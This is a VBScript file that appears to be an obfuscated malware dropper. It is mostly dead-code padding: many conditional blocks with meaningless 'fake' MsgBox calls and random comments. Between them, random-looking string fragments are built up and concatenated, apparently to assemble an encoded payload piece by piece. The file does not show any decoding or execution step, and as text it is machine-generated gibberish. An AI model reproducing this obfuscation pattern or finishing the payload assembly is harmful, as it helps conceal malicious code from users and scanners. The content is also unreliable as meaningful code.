If Len(bBRGxV) < 192 Then
' wad1jB
Else
' fake
MsgBox "vcCUbeHy", 38, "BfQFX16"
End If
If Len(l7eyRz) < 192 Then
' tPmHo
Else
' fake
MsgBox "oX9Yt", 38, "T6OdUuZxA"
End If
Dim SyZRPiOp
SyZRPiOp = OPstF & si6AbL & QkK9dGFV
Qh8SF = "XYtVGZlB"
SrWyzcXY = "Xa"
If Len(jtpI4) < 192 Then
' uxPXAW
Else
' fake
MsgBox "BqdbmFo4", 27, "EdKONh"
End If
If Len(enhyzY) < 192 Then
' YSr3sxek
Else
' fake
MsgBox "ymETogwc3", 27, "O8Ucr4"
End If
If Len(Qx7Rc9WHE) < 254 Then
' fDv8n4
Else
' fake
MsgBox "jLmoPenrS", 18, "YFsWJu0ld"
End If
If Len(bJ25H78U9) < 254 Then
' pBMOGjnxo
Else
' fake
MsgBox "hBESDmbyR", 18, "O1UxNasw"
End If
If Len(y3p15) < 254 Then
' rKotVeJnm
Else
' fake
MsgBox "YjOkFcJ", 18, "w53qk9d"
End If
If Len(vZ3NHMoew) < 254 Then
' AcwFfP
Else
' fake
MsgBox "pqgJ9Zlt", 18, "fY6AECsho"
End If
If Len(k0D74yM) < 202 Then
' JLGeRJoF
Else
' fake
MsgBox "nWkrXURAv", 1, "zsuF3WjoA"
End If
If Len(ymaKvDF) < 202 Then
' vFc3fprR
Else
' fake
MsgBox "lBkcwG1E", 1, "pxh7q"
End If
If Len(iOYe36) < 202 Then
' wVa6kAd
Else
' fake
MsgBox "G2MR3", 1, "jvqE5cX"
End If
If Len(APe7aNDs) < 202 Then
' LBzNU3JM
Else
' fake
MsgBox "qzaHQR", 1, "HuiKe"
End If
If Len(GtsKf) < 243 Then
' Iyz5tg
Else
' fake
MsgBox "QgZEV", 14, "It0Zl78Yn"
End If
If Len(TD78Kkj) < 243 Then
' HiskK
Else
' fake
MsgBox "dAgeap", 14, "EDh1djtMf"
End If
If Len(ugyJFZ4oX) < 243 Then
' hbprXB
Else
' fake
MsgBox "Hh0oMz52", 14, "OEkqlRbV"
End If
If Len(G9lQGKytR) < 243 Then
' XqE6r
Else
' fake
MsgBox "OU91zYAF", 14, "gSebaN6lX"
End If
Dim PBT9q
PBT9q = Qh8SF & SrWyzcXY
oslxz = "Gdhx"
e1f3q2Ijn = "GblR3b"
If Len(pI5LFxZbh) < 243 Then
' dWXbpwhiM
Else
' fake
MsgBox "HcRUkby", 48, "hHSYDf"
End If
If Len(aX13Je2CZ) < 243 Then
' liV0P
Else
' fake
MsgBox "AUrPIDmk", 48, "uQlnpHWE"
End If
If Len(r1g8NhP3m) < 243 Then
' XXrq0
Else
' fake
MsgBox "xJE6Z", 48, "q6ZWx"
End If
If Len(whgjT) < 205 Then
' cVFWx
Else
' fake
MsgBox "PMbuiL", 56, "NnIEbBML2"
End If
If Len(BZsG0) < 205 Then
' T3Ah9IT
Else
' fake
MsgBox "KFQnoqHi0", 56, "QwZ0M5o4R"
End If
If Len(YAzXi) < 205 Then
' jfJq1
Else
' fake
MsgBox "u7Sq8y", 56, "av6DF"
End If
If Len(fVCYSU) < 205 Then
' o9vBIwNTe
Else
' fake
MsgBox "idHqob", 56, "x6DWQ"
End If
Dim Jsmytrdi6
Jsmytrdi6 = oslxz & e1f3q2Ijn
BLJjo = "O5SblR3"
Ay5Bq4SNs = "c5N"
If Len(ddgYoXGcV) < 228 Then
' L94BcgNM
Else
' fake
MsgBox "auCpW", 17, "yER5vYDg"
End If
If Len(zc26I5) < 228 Then
' jtRBXL
Else
' fake
MsgBox "rYKZ1C", 17, "dA0E5X"
End If
If Len(RVu7sJZz) < 228 Then
' kxln3eC
Else
' fake
MsgBox "dQLOfeM", 17, "xRJTeU5Q7"
End If
If Len(VMZpwLRhS) < 155 Then
' kp0bE
Else
' fake
MsgBox "w8waZWk", 48, "uWbaOi"
End If
If Len(E4p1LfmV) < 155 Then
' ZEKaAk
Else
' fake
MsgBox "ubJGCN", 48, "tjtq5DJa"
End If
If Len(Z1fvKl) < 155 Then
' yJOgZkPiH
Else
' fake
MsgBox "R2Jhsq", 48, "sXIqly23f"
End If
If Len(QdfcS9) < 205 Then
' fhC7z6vy
Else
' fake
MsgBox "GNwMycQRY", 62, "wZyMW712"
End If
If Len(cKMTpdJ) < 205 Then
' dLAgcIq6
Else
' fake
MsgBox "hVJaBvN", 62, "gomjWl"
End If
If Len(LaXZS20) < 205 Then
' IYblCMrH
Else
' fake
MsgBox "vjndq", 62, "Eml7xFt"
End If
If Len(UB3ucG) < 205 Then
' Nfz4ZEwk
Else
' fake
MsgBox "PxDCi6B", 62, "hNsKekIb"
End If
If Len(r8wFpnI) < 228 Then
' aVtNuYa
Else
' fake
MsgBox "hhJqjLAk", 22, "eUQoPpw1"
End If
If Len(w7N8B0c) < 228 Then
' s6acTm
Else
' fake
MsgBox "qiYBP", 22, "xFW6Kpom"
End If
If Len(U9PRTbc32) < 228 Then
' DkeutBy
Else
' fake
MsgBox "ROzWQrJ", 22, "pkZ3T"
End If
If Len(PYRlWcPI) < 228 Then
' dLIKS1
Else
' fake
MsgBox "hIzel7", 22, "bhPvSx"
End If
Dim PFpsTw4
PFpsTw4 = BLJjo & Ay5Bq4SNs
M9IgE = "nbllGbj"
E6dwlu = "JWZ"
If Len(TOaUlS) < 237 Then
' ReubJ
Else
' fake
MsgBox "S3xom8pq", 34, "lf8chKRi"
End If
If Len(cO2e5EcF) < 237 Then
' jFWN1ZcR
Else
' fake
MsgBox "AuUs4", 34, "v0rn975"
End If
If Len(iGHDk) < 237 Then
' Gc5tUG1
Else
' fake
MsgBox "o5ABLVjN", 15, "q0ShM"
End If
If Len(PpckSe7t) < 237 Then
' D1CBP3a
Else
' fake
MsgBox "athQ1lgzX", 15, "GHASyj7TU"
End If
If Len(xWzmGKIn6) < 237 Then
' MBMXKPGne
Else
' fake
MsgBox "acDhl", 15, "epQ17"
End If
If Len(U28J9M) < 188 Then
' LhRD3
Else
' fake
MsgBox "ibYGV3x", 40, "vDlrNpiM"
End If
If Len(MTOf9) < 188 Then
' Hti7ze
Else
' fake
MsgBox "bH5T1", 40, "CWCPsI"
End If
If Len(QfYG5u) < 188 Then
' gd456139
Else
' fake
MsgBox "jVwBpEJ0e", 40, "Va4olVB"
End If
Dim lBxqZ274T
lBxqZ274T = M9IgE & E6dwlu
YHsPz69bh = "39GZul2"
vAodiUE = "VtA"
If Len(eY7MX13) < 189 Then
' JD2vCZS
Else
' fake
MsgBox "ULkmD1t3", 6, "vg6hxl"
End If
If Len(pr9JmH) < 189 Then
' aQ1BlG
Else
' fake
MsgBox "ZMg81", 6, "zGxXSTt8"
End If
If Len(lWmUL4DyC) < 189 Then
' LCQzi
Else
' fake
MsgBox "FrYTQZ", 6, "NhBmHUox"
End If
If Len(rPh23obx5) < 201 Then
' QPlvbH
Else
' fake
MsgBox "HDtyQYz", 14, "Kh5I9F8d"
End If
If Len(uFfI8Zh) < 201 Then
' nL6oUB
Else
' fake
MsgBox "wS5eJ", 14, "JsoaqUZMK"
End If
If Len(cZR6oNIid) < 201 Then
' e8BZIk9
Else
' fake
MsgBox "eh320kOoW", 14, "oyu19I6U"
End If
Dim U02KEbUs
U02KEbUs = YHsPz69bh & vAodiUE
RlJpMb = "tRyO05WZpx"
If Len(ENSIB5Z) < 167 Then
' njLWDtEl
Else
' fake
MsgBox "GLZoihEm", 54, "ujcVu"
End If
If Len(KVQyaZke) < 167 Then
' Qe6L4ZS
Else
' fake
MsgBox "pues8Qdj", 54, "ErXMefoS"
End If
If Len(M5V6Sra1K) < 167 Then
' XifJlv
Else
' fake
MsgBox "kz3HlfqUw", 54, "rzUfgW4B"
End If
If Len(xtm4l) < 178 Then
' G3nEk7B
Else
' fake
MsgBox "TGhvlUye0", 26, "a5uDpFVbv"
End If
If Len(NwvqoC) < 178 Then
' pqWfPgR
Else
' fake
MsgBox "TjvzJ", 26, "zwn0cC3ut"
End If
If Len(NxlfCsY) < 178 Then
' Yanwh1
Else
' fake
MsgBox "KhwLde", 26, "ix8M2"
End If
If Len(GdW1kA) < 178 Then
' jWM9E
Else
' fake
MsgBox "q32UqxL4", 26, "INDOr"
End If
Dim VD654
VD654 = RlJpMb
PRMHADY = "7lycsJ"
WQaGEgNA = "Xd51"
If Len(Wc2T835) < 233 Then
' DDY1L78Td
Else
' fake
MsgBox "HAcHF0N", 47, "tptfK"
End If
If Len(l5ZYDhVHa) < 233 Then
' TjV4cPkb
Else
' fake
MsgBox "AMFGzKJ", 47, "CADBQM9s"
End If
If Len(fEv2Gg) < 233 Then
' T9B3A514C
Else
' fake
MsgBox "z7VGlHSfK", 47, "ssl62myS"
End If
If Len(bFbYZt8) < 170 Then
' JKfbg
Else
' fake
MsgBox "ExM5U8pay", 10, "HinUQ8IZ0"
End If
If Len(wUZRD) < 170 Then
' k8vhL
Else
' fake
MsgBox "m50zZ", 10, "m5CIUbtP"
End If
If Len(XazMD0V) < 170 Then
' ltyRf
Else
' fake
MsgBox "eipznHaw7", 10, "JsKhvnHP"
End If
Dim hADYtc
hADYtc = PRMHADY & WQaGEgNA
qjqP5 = "vlW"
edbLJZ = "bl"
iO8XI6dj = "JHc5N"
If Len(kaQzcweVu) < 238 Then
' B79eJ8X
Else
' fake
MsgBox "zLob7TS", 46, "VFegOi"
End If
If Len(ePU1JsqVC) < 238 Then
' F0FncCyei
Else
' fake
MsgBox "GoaQYtDl0", 46, "ucjxtOb6"
End If
If Len(SjR6V0aI) < 238 Then
' DizVA
Else
' fake
MsgBox "CAf1SeJx", 46, "btjfw"
End If
If Len(Y59ng) < 238 Then
' qyPWugst
Else
' fake
MsgBox "jdxZj", 46, "wopBX"
End If
If Len(q3UHmbR0) < 131 Then
' ILcOP5y4w
Else
' fake
MsgBox "dT7D1BpA", 54, "wdnGbVuBw"
End If
If Len(ierFl5Pk) < 131 Then
' mEVbQX
Else
' fake
MsgBox "SuJPCBZ", 54, "UaBPHl"
End If
If Len(XPvKTkwJ) < 131 Then
' wlRaJ
Else
' fake
MsgBox "xuYJpI", 54, "szhLqZbA"
End If
Dim OrNw5
OrNw5 = qjqP5 & edbLJZ & iO8XI6dj
PtCTBK2y = "wRHdo"
InbR9 = "xS"
UzTrkA = "Z4"
u2KoJ7slB = "V"
If Len(c0463tx) < 150 Then
' J3wf8
Else
' fake
MsgBox "HigGT0q1u", 36, "r6BdgANR"
End If
If Len(oZIruUxvc) < 150 Then
' FkQIzHy3o
Else
' fake
MsgBox "uohQ1645U", 36, "BF7ya3SY"
End If
If Len(P9FlcTDfY) < 150 Then
' hbxP4hQ
Else
' fake
MsgBox "T29UZ1h", 36, "mWzIDA7"
End If
If Len(jatPy) < 172 Then
' i0yqdG
Else
' fake
MsgBox "fsn8c4Aj", 21, "RzavG"
End If
If Len(YxYoU) < 172 Then
' gObj1HI0
Else
' fake
MsgBox "MDw6Z", 21, "Wny9E5fRW"
End If
If Len(GdOnrp) < 172 Then
' zHAWkfe
Else
' fake
MsgBox "DLe9U6Ynp", 21, "wsjkht7AH"
End If
Dim RadpP3Wm
RadpP3Wm = PtCTBK2y & InbR9 & UzTrkA & u2KoJ7slB
bO4TUAeXZ = "0RHasUG"
QCwIX6JS = "el5"
If Len(bnrgOyXj) < 251 Then
' Hjivw
Else
' fake
MsgBox "SxCcIvkj", 26, "yP63h1SE"
End If
If Len(V5f3Kj01I) < 251 Then
' tLDBjxy6Z
Else
' fake
MsgBox "qeHEkR7O", 26, "WCI2Ps"
End If
If Len(qN9EKn) < 185 Then
' u9OWHj
Else
' fake
MsgBox "kQ7yh6r1", 22, "m4Gb1SKx"
End If
If Len(Mmh9in) < 185 Then
' XXird3Kq
Else
' fake
MsgBox "y3DEg1n", 22, "hrvy1"
End If
If Len(P08golxP6) < 185 Then
' jD8jEPn4
Else
' fake
MsgBox "zfXtTe4k", 22, "zf5tnh8M"
End If
If Len(wZCQJsW) < 215 Then
' IOJMQoD4x
Else
' fake
MsgBox "vXcHs1p5", 49, "LCOd3an6P"
End If
If Len(UWl5iHnC) < 215 Then
' kyXdmu
Else
' fake
MsgBox "JvmWu", 49, "gQWOUIf"
End If
If Len(fcGnSi) < 215 Then
' JYWPaXo
Else
' fake
MsgBox "pejLtAGn", 49, "wIUC5"
End If
Dim euv0IE
euv0IE = bO4TUAeXZ & QCwIX6JS
lpsNx = "ylGZu9Wa"
Q4jVmGwh = "0F"
If Len(Sn9Y0iXd) < 204 Then
' r1Pd2
Else
' fake
MsgBox "sR0waVp68", 39, "SOIVDwsn"
End If
If Len(cBFNRG7S5) < 204 Then
' Melv49
Else
' fake
MsgBox "HsGvpQq", 39, "lGW6X9klM"
End If
If Len(BDARIkM) < 222 Then
' whFyUx
Else
' fake
MsgBox "TxQXiYKwO", 53, "zFrovJWXk"
End If
If Len(HnLrasbe) < 222 Then
' zNLAzpF
Else
' fake
MsgBox "dauhZITD", 53, "M7TjIW6Z"
End If
If Len(a2UHdn) < 147 Then
' GgJpX
Else
' fake
MsgBox "hFzyhwJ1b", 47, "LFSPwB0"
End If
If Len(O17egoE) < 147 Then
' pLwHYRrO
Else
' fake
MsgBox "yGwkAzFX", 47, "jPFNepcjV"
End If
Dim j4pmktP
j4pmktP = lpsNx & Q4jVmGwh
W0twE3d = "WZy9"
Q4YUBxqz = "mZ"
hdGbjpmFr = "7cSZ"
If Len(EdARo0V) < 221 Then
' qJH4uNlx
Else
' fake
MsgBox "YU972RO", 55, "ZxjGtkv"
End If
If Len(M7MHKF) < 221 Then
' PUgpJF
Else
' fake
MsgBox "bzExmS57k", 55, "zaMrF"
End If
If Len(r2Obe) < 221 Then
' kuhOgBdrl
Else
' fake
MsgBox "Abhvds4", 55, "XivJCs"
End If
If Len(B8VSs) < 221 Then
' LG4Fb
Else
' fake
MsgBox "E9F13LgsW", 55, "Bphricld"
End If
If Len(HCG3jb0xR) < 153 Then
' wXRJoG
Else
' fake
MsgBox "GVPUlk29", 49, "tudoqlPV"
End If
If Len(bdA5Jf0Oh) < 153 Then
' ckWoEl
Else
' fake
MsgBox "EPZRjK", 49, "myB3H5f"
End If
If Len(AmbGM) < 160 Then
' Th3nt
Else
' fake
MsgBox "a5sJl4", 41, "AP4vbZmO"
End If
If Len(DLQBlrt) < 160 Then
' R4rMv
Else
' fake
MsgBox "L9r6b", 41, "PNa3Ih"
End If
If Len(ktHUgC7xn) < 160 Then
' Mgl7NGZ
Else
' fake
MsgBox "BVSRnbp", 41, "lwfBeA9j"
End If
If Len(RSxCR6J) < 160 Then
' PAuz71b
Else
' fake
MsgBox "XLQOaYmFA", 41, "BpFgT"
End If
Dim q1wU0vE
q1wU0vE = W0twE3d & Q4YUBxqz & hdGbjpmFr
OaRXu8w = "4VmL2"
uLwyNU63 = "MT"
XdL3vHhJX = "N1Y"
If Len(p3FnwJ) < 250 Then
' up4b7enI
Else
' fake
MsgBox "aIUFB4x", 42, "kwEfAI"
End If
If Len(PjfVpeY) < 250 Then
' pjpP2
Else
' fake
MsgBox "r7vxXj", 42, "UsytGSu"
End If
If Len(ZFCbW51n) < 219 Then
' DjSZYb
Else
' fake
MsgBox "UPjpuG", 40, "ffhnacF9V"
End If
If Len(dh8vwtzVK) < 219 Then
' Grmpf
Else
' fake
MsgBox "TNGsxU", 40, "bIdEJX"
End If
If Len(aKzu3RNG) < 219 Then
' eHecv
Else
' fake
MsgBox "ceG3MkpU", 40, "bZfGRQ"
End If
Dim OsvMYL
OsvMYL = OaRXu8w & uLwyNU63 & XdL3vHhJX
vugW0rvle = "7kyJsc"
GED045PwI = "CK0l"
If Len(PFUGYB) < 213 Then
' UCg8O
Else
' fake
MsgBox "AjN0ozpiL", 62, "bENTdu"
End If
If Len(XDcaZij1) < 213 Then
' QSDY24WxF
Else
' fake
MsgBox "pXT4WI5k", 62, "DQ1Ni5vV"
End If
If Len(Ep5c8) < 187 Then
' mJZof1G
Else
' fake
MsgBox "gZyzhj3p", 5, "D4J1p8"
End If
If Len(Hx2KA) < 187 Then
' IVcnQe
Else
' fake
MsgBox "NbAI4c", 5, "GXbkFnp"
End If
If Len(aOU0sHVe) < 187 Then
' Apqar
Else
' fake
MsgBox "b4g8IeS", 5, "iruciwO5q"
End If
If Len(ro7yW) < 248 Then
' NTlX4aDey
Else
' fake
MsgBox "ntwTuIe", 19, "F82wy"
End If
If Len(IIbHi0L97) < 248 Then
' dnVsg7oj
Else
' fake
MsgBox "kAdiNkf", 19, "oHbdwQa"
End If
If Len(mFaZV) < 248 Then
' u0aW23Tt
Else
' fake
MsgBox "pqgTIjLb9", 19, "MFRxN"
End If
Dim Tt0bhOcP
Tt0bhOcP = vugW0rvle & GED045PwI
YXzNd96T = "WZylWZ"
WYZW7jwRf = "1dWa"
If Len(lUFqnLv8I) < 249 Then
' TRc3KvBm
Else
' fake
MsgBox "Z4VnuzEm", 14, "UIKXvY"
End If
If Len(YKp2VbiPF) < 249 Then
' tPadjeq
Else
' fake
MsgBox "d4Z5eGNu", 14, "t6x1Q"
End If
If Len(gcp4eZd) < 249 Then
' zFHVJ8
Else
' fake
MsgBox "WRxzvreC", 14, "WN0WIV3j"
End If
If Len(lVSailD) < 236 Then
' hTGLK
Else
' fake
MsgBox "yrkaiOe9", 46, "bn24m"
End If
If Len(V59fuXZ) < 236 Then
' UvBoGmAU
Else
' fake
MsgBox "J9EoJf", 46, "FmBUDpVe"
End If
If Len(ZZClLypP) < 236 Then
' IZVslbtJy
Else
' fake
MsgBox "XoANhyEd", 46, "McGO0ISmE"
End If
If Len(m6smwD) < 236 Then
' k0kPQAfd
Else
' fake
MsgBox "FX9UL6", 46, "LmyFBW"
End If
Dim bkxFgG
bkxFgG = YXzNd96T & WYZW7jwRf
m8EFUPSQ = "wRHdoxSZ"
VrbsGIvkc = "4V"
If Len(LMTWJCS) < 253 Then
' KhcbKJ
Else
' fake
MsgBox "cvDTFrsP", 37, "E1irZN"
End If
If Len(ZLarZHE) < 253 Then
' EyTIhl3
Else
' fake
MsgBox "gpJlz", 37, "PiSo5FV"
End If
If Len(aVkAlXJ) < 155 Then
' kdYQRw2KZ
Else
' fake
MsgBox "zjUb2SI5", 29, "APvFh"
End If
If Len(DQH8GzpnO) < 155 Then
' TdV3vWc
Else
' fake
MsgBox "jKJNPQyd", 29, "P68KX"
End If
If Len(RUCPH) < 137 Then
' v3NvpGIQa
Else
' fake
MsgBox "guLl1", 54, "Qqkz5B9On"
End If
If Len(khrEe) < 137 Then
' RRoB9eKu
Else
' fake
MsgBox "oQzjl", 54, "yALpR4"
End If
If Len(LfqMXeLKl) < 137 Then
' xTvhV
Else
' fake
MsgBox "QAk5hNI", 54, "f0XobUxf"
End If
If Len(uSUyzqr4) < 137 Then
' tt3r57gOn
Else
' fake
MsgBox "AoQUWKVL", 54, "njJ0nLu"
End If
Dim mH5Clwpo
mH5Clwpo = m8EFUPSQ & VrbsGIvkc
Ufwvd0m = "SPggGdhB"
PAyW1ekOC = "HJ"
If Len(jhkJdlANy) < 220 Then
' pHsm0duV
Else
' fake
MsgBox "peU693CPD", 0, "SieYc"
End If
If Len(yNmRxFDt) < 220 Then
' RfRKm4
Else
' fake
MsgBox "RwX7n", 0, "fzPCb21hH"
End If
If Len(SavrZK3) < 192 Then
' Wqyua6
Else
' fake
MsgBox "jUq6kQBsL", 27, "sGRVWHN"
End If
If Len(k682Nu4Qp) < 192 Then
' gqfS5wxGt
Else
' fake
MsgBox "wbOGogpB8", 27, "fN0Un7"
End If
If Len(nCmBZ01s) < 192 Then
' hOGjIwc72
Else
' fake
MsgBox "k067cxNqB", 27, "Q3uWtzq4"
End If
If Len(aq8aOw9) < 146 Then
' RMwiITcA
Else
' fake
MsgBox "pm6q5hfL", 0, "DzO65vS0"
End If
If Len(Dvp296qku) < 146 Then
' Mo9wXuB
Else
' fake
MsgBox "CPo92", 0, "CJf9k"
End If
If Len(tKbtqxA) < 146 Then
' PUydgfx
Else
' fake
MsgBox "MgaoDJ", 0, "HYG5MpSqI"
End If
Dim G5vORo
G5vORo = Ufwvd0m & PAyW1ekOC
ahWca = "WYvxmb39G"
zoNKn = "R"
If Len(wnu1c) < 223 Then
' TPFyTK
Else
' fake
MsgBox "Xp0sr", 23, "LX7KOlq"
End If
If Len(PRcCEOl) < 223 Then
' SMkse2
Else
' fake
MsgBox "Vg2JE0rs", 23, "OuNry"
End If
If Len(pBXiAx) < 223 Then
' yEhF9MV6
Else
' fake
MsgBox "WMEQYybas", 23, "NdLMOg"
End If
If Len(MYrX7xFDU) < 223 Then
' ypeCSJ
Else
' fake
MsgBox "bzQ81", 23, "J6ZgRrx"
End If
If Len(Fg6vqo) < 133 Then
' MINBl
Else
' fake
MsgBox "kPaupqJB", 1, "W95iCyLNG"
End If
If Len(gjDEe) < 133 Then
' pKtT5VD2
Else
' fake
MsgBox "KRhjrmS", 1, "DksyH5eU"
End If
If Len(DO73Jlu1) < 133 Then
' cn5yOZM
Else
' fake
MsgBox "H2lLu9", 1, "npZSwgD2l"
End If
If Len(oOKlXaxD) < 133 Then
' NOR0eD
Else
' fake
MsgBox "yCmYOH7kM", 1, "mbp7GI"
End If
Dim hGuox1YZ
hGuox1YZ = ahWca & zoNKn
L8OGrEj = "Gc"
PhYJbB = "yF2Yv8i"
ZoYqn34l = "O"
If Len(MmE0tHQ3V) < 253 Then
' NUJQSzV
Else
' fake
MsgBox "CCiWe3s9", 0, "WK2ztcxR"
End If
If Len(ZuLsKx) < 253 Then
' qjUCqm
Else
' fake
MsgBox "PCDsqnM4H", 0, "vpBoCnO"
End If
If Len(jbnDyWi) < 253 Then
' Jgz63GQ58
Else
' fake
MsgBox "taIKSn", 0, "Xzpg2xM"
End If
If Len(YxZwjWshY) < 172 Then
' YDiRF5WC
Else
' fake
MsgBox "Cgx8sRWw", 34, "FBFSEMs1T"
End If
If Len(LXTcJOMzf) < 172 Then
' WSs0j
Else
' fake
MsgBox "jiUZl", 34, "dHu6ntWyG"
End If
If Len(MGy84PkZT) < 172 Then
' QPWXdH9sS
Else
' fake
MsgBox "Ri8wyZAV", 34, "vseuOnyzl"
End If
If Len(qcWVAT) < 172 Then
' FFbeREZio
Else
' fake
MsgBox "rHAOyR", 34, "ePSek4p"
End If
If Len(dbkGIPwf) < 225 Then
' QnbKS
Else
' fake
MsgBox "lHpKNBJ", 13, "ILXOw"
End If
If Len(uT4FtPu) < 225 Then
' v7p10HdLk
Else
' fake
MsgBox "vJ0IdgtzA", 13, "kxUCPGg"
End If
If Len(fC6NhvYWi) < 174 Then
' mUE4uJV0x
Else
' fake
MsgBox "vi1zjN8r", 22, "pBvVI0"
End If
If Len(vuTcJmw) < 174 Then
' kqdTa
Else
' fake
MsgBox "Mu45mD", 22, "YCU7ZYkR"
End If
If Len(BJGYOrZE) < 174 Then
' h2StdGh
Else
' fake
MsgBox "zCaQKLt", 22, "m8iy6IBb"
End If
Dim fiVvoJxq
fiVvoJxq = L8OGrEj & PhYJbB & ZoYqn34l
MWD7Kbd = "GSgU"
Onq80i = "Gb5"
OnyNd4DL = "R3U"
If Len(HW2YxE0yX) < 154 Then
' Ia4x8iVQ5
Else
' fake
MsgBox "Zy4Ebp3k", 36, "YVoFD3mex"
End If
If Len(einZEH) < 154 Then
' tGMhRnx72
Else
' fake
MsgBox "kImGl", 36, "T0E2RA"
End If
If Len(wDgem9NQ) < 154 Then
' D5Lc4pas
Else
' fake
MsgBox "BiGOFz", 36, "De362plL"
End If
If Len(wag4lR) < 218 Then
' dNyUKAxT
Else
' fake
MsgBox "vzrg45", 46, "mJCoVstp"
End If
If Len(V6yUT) < 218 Then
' NIlFd
Else
' fake
MsgBox "UQMuy", 46, "SQv0c"
End If
If Len(LgRld) < 218 Then
' xJLGz
Else
' fake
MsgBox "yviKd", 46, "aB03Pq"
End If
Dim FYxytQpA
FYxytQpA = MWD7Kbd & Onq80i & OnyNd4DL
vcJm98Wf = "uQnbl"
gOuh0Ka5S = "lGbj"
XF2JGkKax = "J"
If Len(E15gcO) < 168 Then
' sdxZ9
Else
' fake
MsgBox "AF7V9d4D", 27, "IGRpwcS"
End If
If Len(oBIesQH5) < 168 Then
' FCgPdEteA
Else
' fake
MsgBox "nHJQNU9LO", 27, "m6xHl2YmJ"
End If
If Len(NiDLGT) < 168 Then
' fw6trliJ7
Else
' fake
MsgBox "Cfly3wr", 27, "x0ODk"
End If
If Len(QbERAS) < 146 Then
' JQFJuO9
Else
' fake
MsgBox "bpSxf", 12, "ShFSs5eAd"
End If
If Len(ht8JR) < 146 Then
' M5F8YHC0X
Else
' fake
MsgBox "bNfIop", 12, "lBLuvnQUC"
End If
If Len(yRmjVJn) < 172 Then
' cSA2Ua0y
Else
' fake
MsgBox "O3trl", 44, "qQaeT"
End If
If Len(Haw2vcx0W) < 172 Then
' egLm9FC
Else
' fake
MsgBox "cU8m5n4qk", 44, "rjV05x"
End If
If Len(ZPJAK) < 172 Then
' ykNpDaVuq
Else
' fake
MsgBox "AD3s5Om", 44, "cJQrev"
End If
Dim cdwRY5O
cdwRY5O = vcJm98Wf & gOuh0Ka5S & XF2JGkKax
TdA4Wnwb = "tcXZuB"
wkjbMNQ = "SPgQ"
If Len(OA5MGBLY) < 223 Then
' ZGVD7pk
Else
' fake
MsgBox "tLkpj1urO", 34, "ek0boR2W"
End If
If Len(awmDC1) < 223 Then
' KNIDt16sS
Else
' fake
MsgBox "s0AEPi3h", 34, "QsbHTDLM"
End If
If Len(cR1DCX) < 256 Then
' fMXKQ
Else
' fake
MsgBox "azKYexbVN", 13, "eY6uhlW"
End If
If Len(m2Xd0BlA) < 256 Then
' HJmoqH9
Else
' fake
MsgBox "fxegGXP1H", 13, "uoy58pWDa"
End If
If Len(Zf94R) < 256 Then
' BOwR4
Else
' fake
MsgBox "YDKxt", 13, "fkXiboWGy"
End If
If Len(XHWLt4Q) < 175 Then
' WPUWdemA
Else
' fake
MsgBox "O4cPd16", 29, "v1EVLDvY"
End If
If Len(JufsK3t) < 175 Then
' xJ1kmWz0r
Else
' fake
MsgBox "AFRH9xT", 29, "btkjLYnrD"
End If
If Len(dZwH5) < 175 Then
' iU92C3LZ
Else
' fake
MsgBox "S9Kp4R", 29, "NRypKs"
End If
If Len(Ko6Os3L) < 175 Then
' J5n1Vtrd
Else
' fake
MsgBox "n4EMNv", 29, "PWmjiqw0Z"
End If
If Len(ul3cb) < 192 Then
' Zeb4H
Else
' fake
MsgBox "GB0wvT", 60, "I5Gqug"
End If
If Len(tygRD7skm) < 192 Then
' mGNhka
Else
' fake
MsgBox "Uy8DXKls", 60, "UWNondc"
End If
If Len(Q60X5kd) < 192 Then
' CnwrDG
Else
' fake
MsgBox "DSBPLZ4Q", 60, "Sw6nIJNLH"
End If
Dim dEHN5P
dEHN5P = TdA4Wnwb & wkjbMNQ
QvsYqW9xg = "mFWayFGdu"
yc9Zxrq = Chr(108)
If Len(OWd4qa) < 141 Then
' wjx2F
Else
' fake
MsgBox "bXP5sN1fU", 40, "XdWipmtE"
End If
If Len(NEqMB6y) < 141 Then
' e5Jl3
Else
' fake
MsgBox "ecpoe4L", 40, "EaiPKlg8"
End If
If Len(ogjVBdoWC) < 189 Then
' hvl78w
Else
' fake
MsgBox "pAUqiB", 26, "ijJW6ds9p"
End If
If Len(JOozPL) < 189 Then
' dGZdRs
Else
' fake
MsgBox "kqg7H6W8p", 26, "DOVx0"
End If
If Len(KAD8xQ) < 189 Then
' Xjz0ckXEF
Else
' fake
MsgBox "pkjHT", 26, "yWyOQuBJ"
End If
If Len(wYwBilzP) < 189 Then
' PewiVcY5r
Else
' fake
MsgBox "cQzAJo7", 26, "T4UWD"
End If
If Len(iZnuCS) < 194 Then
' tRl74z9
Else
' fake
MsgBox "RSnWYi8", 5, "I1qgoQP"
End If
If Len(kCVyp5ASn) < 194 Then
' b0ASF
Else
' fake
MsgBox "CnwZt", 5, "axKE74i"
End If
Dim fceUvN
fceUvN = QvsYqW9xg & yc9Zxrq
oJuwt = "GbwN"
TPneq = "lLnUGe"
If Len(HypqKkBuL) < 160 Then
' YlH6qoBfr
Else
' fake
MsgBox "Vs24j", 42, "bjbGF2"
End If
If Len(toPfD) < 160 Then
' OmPlpt4A
Else
' fake
MsgBox "vlh3pgwr", 42, "hmWT6v"
End If
If Len(u3Nz2c) < 160 Then
' IEZtDrkiq
Else
' fake
MsgBox "LrN4W3", 42, "kJug82"
End If
If Len(wbzYGxeCW) < 221 Then
' U3UXTLc06
Else
' fake
MsgBox "ayIhnTdZ", 40, "NaQAOlYo"
End If
If Len(IcnPRjbyz) < 221 Then
' A45Yyfd
Else
' fake
MsgBox "NVBcU", 40, "CSL893Vx7"
End If
If Len(szsFHj5iZ) < 221 Then
' nTGdIp8
Else
' fake
MsgBox "wCjY0R", 40, "CZW2ES"
End If
Dim FZHhSi
FZHhSi = oJuwt & TPneq
mwJLWP = "sV"
ygSnwvd = "mZv8iOwR"
If Len(MDEP3ak) < 239 Then
' RB8Rv
Else
' fake
MsgBox "QOAzrmGtP", 18, "TNkq4pxCn"
End If
If Len(qQely) < 239 Then
' uE8dR6Tn0
Else
' fake
MsgBox "WTdQ1RU", 18, "LqG7QA"
End If
If Len(ha2IYs) < 239 Then
' okpJ76jza
Else
' fake
MsgBox "PI2EUiXZ", 18, "j70p5"
End If
If Len(KqRhWS) < 179 Then
' NWDqS
Else
' fake
MsgBox "mrCxi", 41, "BLTq7W4v3"
End If
If Len(wFKra6s) < 179 Then
' M1zJ2Nq
Else
' fake
MsgBox "sMk2bJC", 41, "AOEt9z"
End If
If Len(PnCg12h) < 179 Then
' sg4FqToV2
Else
' fake
MsgBox "OaFP7", 41, "czZWnv"
End If
If Len(acmfCB) < 179 Then
' QsQHeA
Else
' fake
MsgBox "feIBz", 41, "DpOx9DTc3"
End If
